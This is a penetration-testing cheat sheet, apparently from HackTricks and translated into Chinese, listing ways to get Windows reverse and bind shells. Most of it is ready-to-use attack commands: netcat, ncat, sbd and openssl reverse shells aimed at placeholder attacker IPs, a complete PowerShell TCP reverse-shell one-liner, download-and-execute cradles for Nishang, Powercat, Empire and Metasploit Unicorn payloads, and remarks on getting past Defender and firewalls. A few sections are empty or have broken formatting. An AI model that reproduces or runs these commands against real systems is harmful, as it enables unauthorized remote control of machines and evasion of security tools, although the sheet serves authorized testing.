# Shells - Windows

{{#include ../../banners/hacktricks-training.md}}

## Lolbas

该页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 针对 Windows，就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux 一样。\
显然，**Windows 中没有 SUID 文件或 sudo 权限**，但了解 **如何** 一些 **二进制文件** 可以被（滥）用来执行某种意外操作，如 **执行任意代码**，是很有用的。

## NC
```bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## NCAT

受害者
```
ncat.exe <Attacker_IP> <PORT>  -e "cmd.exe /c (cmd.exe  2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe  2>&1)"
```
攻击者
```
ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --ssl
```
## SBD

**[sbd](https://www.kali.org/tools/sbd/) 是一个便携且安全的 Netcat 替代品**。它在类 Unix 系统和 Win32 上运行。具有强加密、程序执行、可自定义源端口和持续重连等功能，sbd 为 TCP/IP 通信提供了多功能解决方案。对于 Windows 用户，可以使用 Kali Linux 发行版中的 sbd.exe 版本作为 Netcat 的可靠替代品。
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
## Python

```
## Perl

```
## OpenSSH

攻击者 (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

写入磁盘的有效载荷：**没有** (_至少在我使用 procmon 时找不到任何地方！_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
执行网络调用的进程：**svchost.exe**\
写入磁盘的有效载荷：**WebDAV client local cache**

**一行命令：**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

## Powershell Shells

### PS-Nishang

[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

在 **Shells** 文件夹中，有很多不同的 shell。要下载并执行 Invoke-_PowerShellTcp.ps1_，请复制脚本并将其附加到文件末尾：
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
在网络服务器上启动脚本并在受害者端执行：
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender 目前尚未将其检测为恶意代码（截至2019年3月4日）。

**TODO: 检查其他 nishang shells**

### **PS-Powercat**

[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

下载，启动一个网络服务器，启动监听器，并在受害者端执行它：
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender 尚未将其检测为恶意代码（截至 2019 年 3 月 4 日）。

**powercat 提供的其他选项：**

绑定 shell、反向 shell（TCP、UDP、DNS）、端口重定向、上传/下载、生成有效负载、提供文件...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```
### Empire

[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)

创建一个 powershell 启动器，将其保存在文件中并下载和执行。
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**检测为恶意代码**

### MSF-Unicorn

[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)

使用unicorn创建metasploit后门的powershell版本
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
使用创建的资源启动 msfconsole：
```
msfconsole -r unicorn.rc
```
启动一个网络服务器，提供 _powershell_attack.txt_ 文件，并在受害者机器上执行：
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**检测为恶意代码**
